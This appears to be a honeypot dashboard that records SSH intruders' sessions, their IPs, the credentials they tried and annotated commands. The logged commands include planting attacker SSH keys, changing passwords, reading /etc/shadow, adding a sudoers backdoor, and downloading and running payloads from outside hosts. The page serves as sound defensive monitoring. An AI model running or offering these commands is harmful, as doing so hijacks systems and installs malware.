$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "orient\nmgVayhJCY7sW\nmgVayhJCY7sW"|passwd|bash

$ Enter new UNIX password:

$ echo "orient\nmgVayhJCY7sW\nmgVayhJCY7sW\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 jade_root_17 (115.190.125.207) — Beijing, China · 1 session · 1 cmd

2026-06-28 09:31 EDT · as root/5nWt3P-fF4WosQm5O

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 stein_sol (185.242.3.195) — Frankfurt am Main, Germany · 1 session · 1 cmd

2026-06-28 07:31 EDT · as root/Password@12345

echo

$ echo OK

🎭 shadow_2 (43.156.168.37) — Singapore, Singapore · 1 session · 20 cmds

2026-06-28 07:11 EDT · as extweb/extweb123

echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "extweb123\nHHiVCWXSViFV\nHHiVCWXSViFV"|passwd|bash

$ Enter new UNIX password:

$ echo "extweb123\nHHiVCWXSViFV\nHHiVCWXSViFV\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 dragon_root_18 (120.48.77.176) — Beijing, China · 1 session · 20 cmds

2026-06-28 05:39 EDT · as steam/Steam2025

echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "Steam2025\nB2tFSALLO6mS\nB2tFSALLO6mS"|passwd|bash

$ Enter new UNIX password:

$ echo "Steam2025\nB2tFSALLO6mS\nB2tFSALLO6mS\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 specter_root_2 (193.90.12.40) — Oslo, Norway · 2 sessions · 2 cmds

2026-06-28 05:25 EDT · as root/123654qwe, root/centos

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -a;id;cat /etc/shadow /etc/passwd;lscpu;echo 'daemon ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers;chsh -s /bin/sh daemon;echo Password123 |passwd daemon --stdin;mkdir ~/.ssh;chattr -ia ~/.ssh/* ~/.ssh;wget http://103.56.149.224/cacti/ns1.jpg -O ~/.ssh/authorized_keys;chmod 600 ~/.ssh/authorized_keys;chmod 700 ~/ ~/.ssh;wget http://103.56.149.224/cacti/ns3.jpg -O /tmp/x;chmod +x /tmp/x;/tmp/x;mv /tmp/x /tmp/o;/tmp/o;rm -f /tmp/o;mkdir /sbin/.ssh;cp ~/.ssh/authorized_keys /sbin/.ssh;chown daemon.daemon /sbin/.ssh /sbin/.ssh/*;chmod 700 /sbin/.ssh;chmod 600 /sbin/.ssh/authorized_keys;wget http://103.56.149.224/cacti/oto -O /tmp/oto;chmod 755 /tmp/oto;/tmp/oto;curl http://103.56.149.224/cacti/oto -o /tmp/oto;chmod 755 /tmp/oto;/tmp/oto;rm -f /tmp/oto ×2 // password hash extraction

🎭 wraith_root_20 (59.126.224.134) — Taichung, Taiwan · 1 session · 20 cmds

2026-06-28 03:20 EDT · as visitor/visitor123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "visitor123\nShdIIpTtNBaz\nShdIIpTtNBaz"|passwd|bash

$ Enter new UNIX password:

$ echo "visitor123\nShdIIpTtNBaz\nShdIIpTtNBaz\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cipher_root_45 (103.95.99.138) — Dhaka, Bangladesh · 1 session · 9 cmds

2026-06-28 03:04 EDT · as admin/Qwerty1

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

$ hostname // hostname discovery

$ uname -m&&pkill upnpsetup // process termination

$ sudo pkill upnpsetup // process termination

$ rm ./upnpsetup

$ wget -nc http://45.87.174.8/k.php?a=x86_64,846F00S8Z2K10A07H -O ./upnpsetup

$ chmod 777 ./upnpsetup // make executable (world)

$ sudo ./upnpsetup

$ ./upnpsetup // execute payload

🎭 rogue_root_30 (154.221.28.214) — Chai Wan, Hong Kong · 1 session · 19 cmds

2026-06-28 03:01 EDT · as root/lalala123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:cwAq8c7F9ttC"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🍯 HONEYPOT DASHBOARD

🌍 Attack Origins

🏆 Top Attackers

📡 Recent Activity

🎬 Greatest Hits

🔑 Top Credentials

📈 Attack Timeline

📊 Daily Breakdown

📊 All-Time Stats

💀 Successful Logins — What They Did